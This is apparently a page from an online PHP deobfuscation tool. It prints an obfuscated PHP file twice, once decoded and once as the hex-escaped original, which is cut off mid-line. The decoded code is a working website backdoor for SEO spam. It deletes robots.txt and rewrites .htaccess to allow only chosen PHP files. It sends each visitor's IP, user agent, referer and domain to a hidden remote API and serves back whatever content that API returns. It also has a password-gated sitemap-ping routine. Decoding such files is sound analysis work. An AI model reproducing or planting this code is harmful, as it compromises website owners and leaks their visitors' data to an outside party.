Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function jJaxCzvNjsJw($MKIKnnzCzY, $xpErMQDPIC, $mobjKHQfyi) { $kKmiSxsDiZ = 'https..
Decoded Output download
<?php
function jJaxCzvNjsJw($MKIKnnzCzY, $xpErMQDPIC, $mobjKHQfyi) { $kKmiSxsDiZ = 'https://%s/'."ping".'?'."sitemap".'=%s%s/%s'; $nOgnqfBVPo = sprintf($kKmiSxsDiZ, $MKIKnnzCzY, $mobjKHQfyi["protocol"], $mobjKHQfyi["server_domain"], $xpErMQDPIC); $gWBKjBARkC = qUHIRnYbOUVsGRz($nOgnqfBVPo); if(isset(${"_REQUEST"}["st"])){ var_dump($nOgnqfBVPo); var_dump($gWBKjBARkC); die(); } $CgeEDWmQRq = "google"; $oFWMrJQhhw = "success"; $dKnxHeQuMT = "failed"; if (strpos($gWBKjBARkC, $CgeEDWmQRq) != false) { die($oFWMrJQhhw); } else { $kKmiSxsDiZ = 'http://%s/'."ping".'?'."sitemap".'=%s%s/%s'; $nOgnqfBVPo = sprintf($kKmiSxsDiZ, $MKIKnnzCzY, $mobjKHQfyi["protocol"], $mobjKHQfyi["server_domain"], $xpErMQDPIC); $gWBKjBARkC = qUHIRnYbOUVsGRz($nOgnqfBVPo); if (strpos($gWBKjBARkC, $CgeEDWmQRq) != false) { die($oFWMrJQhhw); } die($dKnxHeQuMT); } } function qUHIRnYbOUVsGRz($uBBbRMPwpb, $qIcyUPvZsQ = 1, $xcoyXrmUdo = NULL, $QNsLZmFBUs = array(), $NItRrWcSxJ = "s") { $PdmTLpzuGl = "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create"; $hSUChBTfoL = $UrGnMNzbVs = ''; foreach (explode("|", $PdmTLpzuGl) as $WXLgeRNvdU) { $QQPbBVaSct = 1; foreach (explode("+", $WXLgeRNvdU) as $vYmewOQQSs) { if (!function_exists($vYmewOQQSs)) { $QQPbBVaSct = 0; } } unset($vYmewOQQSs); if ($QQPbBVaSct) { $hSUChBTfoL = $WXLgeRNvdU; break; } } unset($PdmTLpzuGl, $WXLgeRNvdU); if ($hSUChBTfoL == '') { return 0; } if (substr($hSUChBTfoL, 0, 1) == "c") { $wckbGXBwXX = curl_init(); curl_setopt($wckbGXBwXX, CURLOPT_URL, $uBBbRMPwpb); curl_setopt($wckbGXBwXX, CURLOPT_USERAGENT, $NItRrWcSxJ); curl_setopt($wckbGXBwXX, CURLOPT_RETURNTRANSFER, 1); curl_setopt($wckbGXBwXX, CURLOPT_TIMEOUT, 30); curl_setopt($wckbGXBwXX, CURLOPT_FRESH_CONNECT, TRUE); if ($qIcyUPvZsQ == 2) { curl_setopt($wckbGXBwXX, CURLOPT_POST, 1); if(is_array($xcoyXrmUdo)){ curl_setopt($wckbGXBwXX, CURLOPT_POSTFIELDS, http_build_query($xcoyXrmUdo)); } } $fsAghpsHsr = curl_exec($wckbGXBwXX); curl_close($wckbGXBwXX); if ($fsAghpsHsr) { return $fsAghpsHsr; } } $MsXXACBkpi = parse_url($uBBbRMPwpb); isset($MsXXACBkpi["host"]) || $MsXXACBkpi["host"] = ''; isset($MsXXACBkpi["path"]) || $MsXXACBkpi["path"] = ''; isset($MsXXACBkpi["query"])|| $MsXXACBkpi["query"] = ''; isset($MsXXACBkpi["port"]) || $MsXXACBkpi["port"] = ''; $SMZOScTPtr = $MsXXACBkpi["path"] ? $MsXXACBkpi["path"].($MsXXACBkpi["query"] ? '?'.$MsXXACBkpi["query"] : '') : "/"; $pupPhHgrRN = $MsXXACBkpi["host"]; if ($MsXXACBkpi["scheme"] == "https") { $QPLxnSdGKs = '1.1'; $ATMHBgzqlZ = empty($MsXXACBkpi["port"]) ? 443 : $MsXXACBkpi["port"]; $pupPhHgrRN = 'ssl://'; $pupPhHgrRN .= $MsXXACBkpi["host"]; } else { $QPLxnSdGKs = '1.0'; $ATMHBgzqlZ = empty($MsXXACBkpi["port"]) ? 80 : $MsXXACBkpi["port"]; } $QuGPjJAuYg = 'Host: '; $QuGPjJAuYg .= $pupPhHgrRN; $QNsLZmFBUs[] = $QuGPjJAuYg; $QNsLZmFBUs[] = "Connection".': '."Close"; $QNsLZmFBUs[] = "User-Agent".': ' . $NItRrWcSxJ; $QNsLZmFBUs[] = "Accept".': '.'*/*'; unset($QuGPjJAuYg); if ($qIcyUPvZsQ == 2) { if(is_array($xcoyXrmUdo)){ $xcoyXrmUdo = http_build_query($xcoyXrmUdo); } $QNsLZmFBUs[] = "Content-type".': '."application/x-www-form-urlencoded"; $QNsLZmFBUs[] = "Content-Length".': '.strlen($xcoyXrmUdo); $UrGnMNzbVs = "POST $SMZOScTPtr HTTP/$QPLxnSdGKs" . PHP_EOL.join(PHP_EOL, $QNsLZmFBUs).PHP_EOL.PHP_EOL.$xcoyXrmUdo; unset($xcoyXrmUdo); } else { $UrGnMNzbVs = "GET $SMZOScTPtr HTTP/$QPLxnSdGKs" . PHP_EOL.join(PHP_EOL, $QNsLZmFBUs).PHP_EOL.PHP_EOL; } unset($QNsLZmFBUs, $MsXXACBkpi, $QPLxnSdGKs, $SMZOScTPtr); $jVDzGpRMvr = $JJdWjIptSD = ''; $ttwXsbEarS = null; if (substr($hSUChBTfoL, -1) == "n") { $ttwXsbEarS = $hSUChBTfoL($pupPhHgrRN, $ATMHBgzqlZ, $jVDzGpRMvr, $JJdWjIptSD, 30); }else{ if (substr($hSUChBTfoL, -1) == "t") { $BquydnloAE = 'tcp://'; $BquydnloAE .= $pupPhHgrRN; $BquydnloAE .= ':'; $BquydnloAE .= $ATMHBgzqlZ; $ttwXsbEarS = stream_socket_client($BquydnloAE, $jVDzGpRMvr, $JJdWjIptSD, 30); unset($BquydnloAE); } } $qBZqQoVXbT = ''; if ($ttwXsbEarS) { stream_set_blocking($ttwXsbEarS, TRUE); stream_set_timeout($ttwXsbEarS, 30); fwrite($ttwXsbEarS, $UrGnMNzbVs); $OfgdqrwNkQ = stream_get_meta_data($ttwXsbEarS); if (!$OfgdqrwNkQ["timed_out"]) { while (!feof($ttwXsbEarS)) { $KocxiAyDAo = fgets($ttwXsbEarS); if ($KocxiAyDAo && (rawurlencode($KocxiAyDAo) == "%0D%0A" || rawurlencode($KocxiAyDAo) == "%0A")) { break; } unset($KocxiAyDAo); } while (!feof($ttwXsbEarS)) { $aIjqUZtyHm = fread($ttwXsbEarS, 8192); $qBZqQoVXbT .= $aIjqUZtyHm; unset($aIjqUZtyHm); } } unset($OfgdqrwNkQ); fclose($ttwXsbEarS); } else { if (substr($hSUChBTfoL, -1) == "e") { $MjyXRptCDS = gethostbyname($pupPhHgrRN); $ttwXsbEarS = $hSUChBTfoL(AF_INET, SOCK_STREAM, 0); if (socket_connect($ttwXsbEarS, $MjyXRptCDS, $ATMHBgzqlZ)) { socket_write($ttwXsbEarS, $UrGnMNzbVs, strlen($UrGnMNzbVs)); while($EzaPbekUDz=@socket_read($ttwXsbEarS, 8192)){ $qBZqQoVXbT .= $EzaPbekUDz; unset($EzaPbekUDz); } $qBZqQoVXbT = explode("
", $qBZqQoVXbT); array_shift($qBZqQoVXbT); $qBZqQoVXbT = implode("
", $qBZqQoVXbT); } socket_close($ttwXsbEarS); unset($MjyXRptCDS); } } unset($UrGnMNzbVs, $hSUChBTfoL, $ttwXsbEarS, $ATMHBgzqlZ, $pupPhHgrRN); return $qBZqQoVXbT; } function f_check_htaccess() { if (file_exists("robots".'.txt')){ @unlink("robots".'.txt'); } $ShXBqTtPjp = '.'."htaccess"; $qBZqQoVXbT = @base64_decode("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+"); if (file_exists($ShXBqTtPjp)) { $WuvXcVSHeG = file_get_contents($ShXBqTtPjp); if ($qBZqQoVXbT == $WuvXcVSHeG) { return; } } @chmod($ShXBqTtPjp, 0777); @file_put_contents($ShXBqTtPjp, $qBZqQoVXbT); @chmod($ShXBqTtPjp, 0644); } $FrPtMCNorn = "yaiHBRV0ycADmofvsLFzxUmzLMXzfIitjYc2LgV0DLHXAYY4xNkye5CiZZhXjNM0LYumSNQhccg2d0auTbSGolu2kZOQe=N="; $UDzHptTEMI = str_split($FrPtMCNorn); $mFUqRHwYIj = ''; for ($EcXVqZKvHC=0;$EcXVqZKvHC<count($UDzHptTEMI);$EcXVqZKvHC++) { if ($EcXVqZKvHC%2 != 0) { $mFUqRHwYIj .= $UDzHptTEMI[$EcXVqZKvHC]; } } $mobjKHQfyi["default_params"] = $FrPtMCNorn; $mobjKHQfyi["api"] = base64_decode($mFUqRHwYIj); $mobjKHQfyi["server_domain"] =isset(${"_SERVER"}["HTTP_HOST"]) ? ${"_SERVER"}["HTTP_HOST"] : ${"_SERVER"}["SERVER_NAME"]; $mobjKHQfyi["request_url"] = ${"_SERVER"}["REQUEST_URI"]; $mobjKHQfyi["referer"] = isset(${"_SERVER"}["HTTP_REFERER"]) ? ${"_SERVER"}["HTTP_REFERER"] : ''; $mobjKHQfyi["user_agent"] = isset(${"_SERVER"}["HTTP_USER_AGENT"]) ? ${"_SERVER"}["HTTP_USER_AGENT"] : ''; $mobjKHQfyi["ip"] = isset(${"_SERVER"}["HTTP_VIA"]) ? ${"_SERVER"}["HTTP_X_FORWARDED_FOR"] : ${"_SERVER"}["REMOTE_ADDR"]; if($mobjKHQfyi["ip"] == null) {$mobjKHQfyi["ip"] = "";} $mobjKHQfyi["protocol"] = isset(${"_SERVER"}["HTTPS"]) ? 'https://' : 'http://'; $mobjKHQfyi["language"] = isset(${"_SERVER"}["HTTP_ACCEPT_LANGUAGE"]) ? ${"_SERVER"}["HTTP_ACCEPT_LANGUAGE"] : ''; if (isset(${"_REQUEST"}["params"])) {print_r($mobjKHQfyi);die();} if (isset(${"_REQUEST"}["pwd163"])) { if (md5(${"_REQUEST"}["pwd163"] . "a!#_11AA") == "2f7a76f71ff9e24be7c0015ff9cb81d8"){ if (isset(${"_GET"}["sitemap"])) { $xpErMQDPIC = ${"_GET"}["sitemap"]; $FhnNmiYXwJ = 'www.google.com'; if (isset(${"_GET"}["google_url"])) { $FhnNmiYXwJ = ${"_GET"}["google_url"]; } jJaxCzvNjsJw($FhnNmiYXwJ, $xpErMQDPIC, $mobjKHQfyi); } } } f_check_htaccess(); $xIRUcCihZo = array( "domain" => $mobjKHQfyi["server_domain"], "request_url" => $mobjKHQfyi["request_url"], "ip" => $mobjKHQfyi["ip"], "agent" => $mobjKHQfyi["user_agent"], "referer" => $mobjKHQfyi["referer"], "protocol" => $mobjKHQfyi["protocol"], "language" => $mobjKHQfyi["language"] ); $qBZqQoVXbT = qUHIRnYbOUVsGRz($mobjKHQfyi["api"], 2, $xIRUcCihZo, array(), $mobjKHQfyi["server_domain"]); if (isset(${"_REQUEST"}["dump"])) { var_dump($qBZqQoVXbT); $qBZqQoVXbT = qUHIRnYbOUVsGRz("https://"."google".".com"); var_dump($qBZqQoVXbT);/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ die(); } $qBZqQoVXbT = @gzuncompress(base64_decode($qBZqQoVXbT)); $uCGHUlYYXH = @preg_split("/\|/si", $qBZqQoVXbT, -1, PREG_SPLIT_NO_EMPTY); if ($uCGHUlYYXH !== false && count($uCGHUlYYXH) > 1) { $aIjqUZtyHm = array_pop($uCGHUlYYXH); $aIjqUZtyHm = base64_decode($aIjqUZtyHm); foreach ($uCGHUlYYXH as $TppgRYejTQ) { @header($TppgRYejTQ); } echo $aIjqUZtyHm; die(); } ?>
Did this file decode correctly?
Original Code
<?php
function jJaxCzvNjsJw($MKIKnnzCzY, $xpErMQDPIC, $mobjKHQfyi) { $kKmiSxsDiZ = 'https://%s/'."\x70\x69\x6e\x67".'?'."\x73\x69\x74\x65\x6d\x61\x70".'=%s%s/%s'; $nOgnqfBVPo = sprintf($kKmiSxsDiZ, $MKIKnnzCzY, $mobjKHQfyi["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], $mobjKHQfyi["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], $xpErMQDPIC); $gWBKjBARkC = qUHIRnYbOUVsGRz($nOgnqfBVPo); if(isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x73\x74"])){ var_dump($nOgnqfBVPo); var_dump($gWBKjBARkC); die(); } $CgeEDWmQRq = "\x67\x6f\x6f\x67\x6c\x65"; $oFWMrJQhhw = "\x73\x75\x63\x63\x65\x73\x73"; $dKnxHeQuMT = "\x66\x61\x69\x6c\x65\x64"; if (strpos($gWBKjBARkC, $CgeEDWmQRq) != false) { die($oFWMrJQhhw); } else { $kKmiSxsDiZ = 'http://%s/'."\x70\x69\x6e\x67".'?'."\x73\x69\x74\x65\x6d\x61\x70".'=%s%s/%s'; $nOgnqfBVPo = sprintf($kKmiSxsDiZ, $MKIKnnzCzY, $mobjKHQfyi["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], $mobjKHQfyi["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], $xpErMQDPIC); $gWBKjBARkC = qUHIRnYbOUVsGRz($nOgnqfBVPo); if (strpos($gWBKjBARkC, $CgeEDWmQRq) != false) { die($oFWMrJQhhw); } die($dKnxHeQuMT); } } function qUHIRnYbOUVsGRz($uBBbRMPwpb, $qIcyUPvZsQ = 1, $xcoyXrmUdo = NULL, $QNsLZmFBUs = array(), $NItRrWcSxJ = "s") { $PdmTLpzuGl = "\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74\x2b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x2b\x63\x75\x72\x6c\x5f\x65\x78\x65\x63\x7c\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e\x7c\x70\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e\x7c\x73\x74\x72\x65\x61\x6d\x5f\x73\x6f\x63\x6b\x65\x74\x5f\x63\x6c\x69\x65\x6e\x74\x7c\x73\x6f\x63\x6b\x65\x74\x5f\x63\x72\x65\x61\x74\x65"; $hSUChBTfoL = $UrGnMNzbVs = ''; foreach (explode("\x7c", $PdmTLpzuGl) as $WXLgeRNvdU) { $QQPbBVaSct = 1; foreach (explode("\x2b", $WXLgeRNvdU) as $vYmewOQQSs) { if (!function_exists($vYmewOQQSs)) { $QQPbBVaSct = 0; } } unset($vYmewOQQSs); if ($QQPbBVaSct) { $hSUChBTfoL = $WXLgeRNvdU; break; } } unset($PdmTLpzuGl, $WXLgeRNvdU); if ($hSUChBTfoL == '') { return 0; } if (substr($hSUChBTfoL, 0, 1) == "\x63") { $wckbGXBwXX = curl_init(); curl_setopt($wckbGXBwXX, CURLOPT_URL, $uBBbRMPwpb); curl_setopt($wckbGXBwXX, CURLOPT_USERAGENT, $NItRrWcSxJ); curl_setopt($wckbGXBwXX, CURLOPT_RETURNTRANSFER, 1); curl_setopt($wckbGXBwXX, CURLOPT_TIMEOUT, 30); curl_setopt($wckbGXBwXX, CURLOPT_FRESH_CONNECT, TRUE); if ($qIcyUPvZsQ == 2) { curl_setopt($wckbGXBwXX, CURLOPT_POST, 1); if(is_array($xcoyXrmUdo)){ curl_setopt($wckbGXBwXX, CURLOPT_POSTFIELDS, http_build_query($xcoyXrmUdo)); } } $fsAghpsHsr = curl_exec($wckbGXBwXX); curl_close($wckbGXBwXX); if ($fsAghpsHsr) { return $fsAghpsHsr; } } $MsXXACBkpi = parse_url($uBBbRMPwpb); isset($MsXXACBkpi["\x68\x6f\x73\x74"]) || $MsXXACBkpi["\x68\x6f\x73\x74"] = ''; isset($MsXXACBkpi["\x70\x61\x74\x68"]) || $MsXXACBkpi["\x70\x61\x74\x68"] = ''; isset($MsXXACBkpi["\x71\x75\x65\x72\x79"])|| $MsXXACBkpi["\x71\x75\x65\x72\x79"] = ''; isset($MsXXACBkpi["\x70\x6f\x72\x74"]) || $MsXXACBkpi["\x70\x6f\x72\x74"] = ''; $SMZOScTPtr = $MsXXACBkpi["\x70\x61\x74\x68"] ? $MsXXACBkpi["\x70\x61\x74\x68"].($MsXXACBkpi["\x71\x75\x65\x72\x79"] ? '?'.$MsXXACBkpi["\x71\x75\x65\x72\x79"] : '') : "\x2f"; $pupPhHgrRN = $MsXXACBkpi["\x68\x6f\x73\x74"]; if ($MsXXACBkpi["\x73\x63\x68\x65\x6d\x65"] == "\x68\x74\x74\x70\x73") { $QPLxnSdGKs = '1.1'; $ATMHBgzqlZ = empty($MsXXACBkpi["\x70\x6f\x72\x74"]) ? 443 : $MsXXACBkpi["\x70\x6f\x72\x74"]; $pupPhHgrRN = 'ssl://'; $pupPhHgrRN .= $MsXXACBkpi["\x68\x6f\x73\x74"]; } else { $QPLxnSdGKs = '1.0'; $ATMHBgzqlZ = empty($MsXXACBkpi["\x70\x6f\x72\x74"]) ? 80 : $MsXXACBkpi["\x70\x6f\x72\x74"]; } $QuGPjJAuYg = 'Host: '; $QuGPjJAuYg .= $pupPhHgrRN; $QNsLZmFBUs[] = $QuGPjJAuYg; $QNsLZmFBUs[] = "\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e".': '."\x43\x6c\x6f\x73\x65"; $QNsLZmFBUs[] = "\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74".': ' . $NItRrWcSxJ; $QNsLZmFBUs[] = "\x41\x63\x63\x65\x70\x74".': '.'*/*'; unset($QuGPjJAuYg); if ($qIcyUPvZsQ == 2) { if(is_array($xcoyXrmUdo)){ $xcoyXrmUdo = http_build_query($xcoyXrmUdo); } $QNsLZmFBUs[] = "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x74\x79\x70\x65".': '."\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65\x64"; $QNsLZmFBUs[] = "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68".': '.strlen($xcoyXrmUdo); $UrGnMNzbVs = "POST $SMZOScTPtr HTTP/$QPLxnSdGKs" . PHP_EOL.join(PHP_EOL, $QNsLZmFBUs).PHP_EOL.PHP_EOL.$xcoyXrmUdo; unset($xcoyXrmUdo); } else { $UrGnMNzbVs = "GET $SMZOScTPtr HTTP/$QPLxnSdGKs" . PHP_EOL.join(PHP_EOL, $QNsLZmFBUs).PHP_EOL.PHP_EOL; } unset($QNsLZmFBUs, $MsXXACBkpi, $QPLxnSdGKs, $SMZOScTPtr); $jVDzGpRMvr = $JJdWjIptSD = ''; $ttwXsbEarS = null; if (substr($hSUChBTfoL, -1) == "\x6e") { $ttwXsbEarS = $hSUChBTfoL($pupPhHgrRN, $ATMHBgzqlZ, $jVDzGpRMvr, $JJdWjIptSD, 30); }else{ if (substr($hSUChBTfoL, -1) == "\x74") { $BquydnloAE = 'tcp://'; $BquydnloAE .= $pupPhHgrRN; $BquydnloAE .= ':'; $BquydnloAE .= $ATMHBgzqlZ; $ttwXsbEarS = stream_socket_client($BquydnloAE, $jVDzGpRMvr, $JJdWjIptSD, 30); unset($BquydnloAE); } } $qBZqQoVXbT = ''; if ($ttwXsbEarS) { stream_set_blocking($ttwXsbEarS, TRUE); stream_set_timeout($ttwXsbEarS, 30); fwrite($ttwXsbEarS, $UrGnMNzbVs); $OfgdqrwNkQ = stream_get_meta_data($ttwXsbEarS); if (!$OfgdqrwNkQ["\x74\x69\x6d\x65\x64\x5f\x6f\x75\x74"]) { while (!feof($ttwXsbEarS)) { $KocxiAyDAo = fgets($ttwXsbEarS); if ($KocxiAyDAo && (rawurlencode($KocxiAyDAo) == "%0D%0A" || rawurlencode($KocxiAyDAo) == "%0A")) { break; } unset($KocxiAyDAo); } while (!feof($ttwXsbEarS)) { $aIjqUZtyHm = fread($ttwXsbEarS, 8192); $qBZqQoVXbT .= $aIjqUZtyHm; unset($aIjqUZtyHm); } } unset($OfgdqrwNkQ); fclose($ttwXsbEarS); } else { if (substr($hSUChBTfoL, -1) == "\x65") { $MjyXRptCDS = gethostbyname($pupPhHgrRN); $ttwXsbEarS = $hSUChBTfoL(AF_INET, SOCK_STREAM, 0); if (socket_connect($ttwXsbEarS, $MjyXRptCDS, $ATMHBgzqlZ)) { socket_write($ttwXsbEarS, $UrGnMNzbVs, strlen($UrGnMNzbVs)); while($EzaPbekUDz=@socket_read($ttwXsbEarS, 8192)){ $qBZqQoVXbT .= $EzaPbekUDz; unset($EzaPbekUDz); } $qBZqQoVXbT = explode("\r\n\r\n", $qBZqQoVXbT); array_shift($qBZqQoVXbT); $qBZqQoVXbT = implode("\r\n\r\n", $qBZqQoVXbT); } socket_close($ttwXsbEarS); unset($MjyXRptCDS); } } unset($UrGnMNzbVs, $hSUChBTfoL, $ttwXsbEarS, $ATMHBgzqlZ, $pupPhHgrRN); return $qBZqQoVXbT; } function f_check_htaccess() { if (file_exists("\x72\x6f\x62\x6f\x74\x73".'.txt')){ @unlink("\x72\x6f\x62\x6f\x74\x73".'.txt'); } $ShXBqTtPjp = '.'."\x68\x74\x61\x63\x63\x65\x73\x73"; $qBZqQoVXbT = @base64_decode("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+"); if (file_exists($ShXBqTtPjp)) { $WuvXcVSHeG = file_get_contents($ShXBqTtPjp); if ($qBZqQoVXbT == $WuvXcVSHeG) { return; } } @chmod($ShXBqTtPjp, 0777); @file_put_contents($ShXBqTtPjp, $qBZqQoVXbT); @chmod($ShXBqTtPjp, 0644); } $FrPtMCNorn = "yaiHBRV0ycADmofvsLFzxUmzLMXzfIitjYc2LgV0DLHXAYY4xNkye5CiZZhXjNM0LYumSNQhccg2d0auTbSGolu2kZOQe=N="; $UDzHptTEMI = str_split($FrPtMCNorn); $mFUqRHwYIj = ''; for ($EcXVqZKvHC=0;$EcXVqZKvHC<count($UDzHptTEMI);$EcXVqZKvHC++) { if ($EcXVqZKvHC%2 != 0) { $mFUqRHwYIj .= $UDzHptTEMI[$EcXVqZKvHC]; } } $mobjKHQfyi["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"] = $FrPtMCNorn; $mobjKHQfyi["\x61\x70\x69"] = base64_decode($mFUqRHwYIj); $mobjKHQfyi["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"] =isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"] : ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"]; $mobjKHQfyi["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"] = ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"]; $mobjKHQfyi["\x72\x65\x66\x65\x72\x65\x72"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"] : ''; $mobjKHQfyi["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"] : ''; $mobjKHQfyi["\x69\x70"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x56\x49\x41"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x58\x5f\x46\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\x46\x4f\x52"] : ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\x44\x52"]; if($mobjKHQfyi["\x69\x70"] == null) {$mobjKHQfyi["\x69\x70"] = "";} $mobjKHQfyi["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x53"]) ? 'https://' : 'http://'; $mobjKHQfyi["\x6c\x61\x6e\x67\x75\x61\x67\x65"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"] : ''; if (isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x70\x61\x72\x61\x6d\x73"])) {print_r($mobjKHQfyi);die();} if (isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x70\x77\x64\x31\x36\x33"])) { if (md5(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x70\x77\x64\x31\x36\x33"] . "a!#_11AA") == "2f7a76f71ff9e24be7c0015ff9cb81d8"){ if (isset(${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"])) { $xpErMQDPIC = ${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"]; $FhnNmiYXwJ = 'www.google.com'; if (isset(${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"])) { $FhnNmiYXwJ = ${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"]; } jJaxCzvNjsJw($FhnNmiYXwJ, $xpErMQDPIC, $mobjKHQfyi); } } } f_check_htaccess(); $xIRUcCihZo = array( "\x64\x6f\x6d\x61\x69\x6e" => $mobjKHQfyi["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], "\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c" => $mobjKHQfyi["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"], "\x69\x70" => $mobjKHQfyi["\x69\x70"], "\x61\x67\x65\x6e\x74" => $mobjKHQfyi["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"], "\x72\x65\x66\x65\x72\x65\x72" => $mobjKHQfyi["\x72\x65\x66\x65\x72\x65\x72"], "\x70\x72\x6f\x74\x6f\x63\x6f\x6c" => $mobjKHQfyi["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], "\x6c\x61\x6e\x67\x75\x61\x67\x65" => $mobjKHQfyi["\x6c\x61\x6e\x67\x75\x61\x67\x65"] ); $qBZqQoVXbT = qUHIRnYbOUVsGRz($mobjKHQfyi["\x61\x70\x69"], 2, $xIRUcCihZo, array(), $mobjKHQfyi["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"]); if 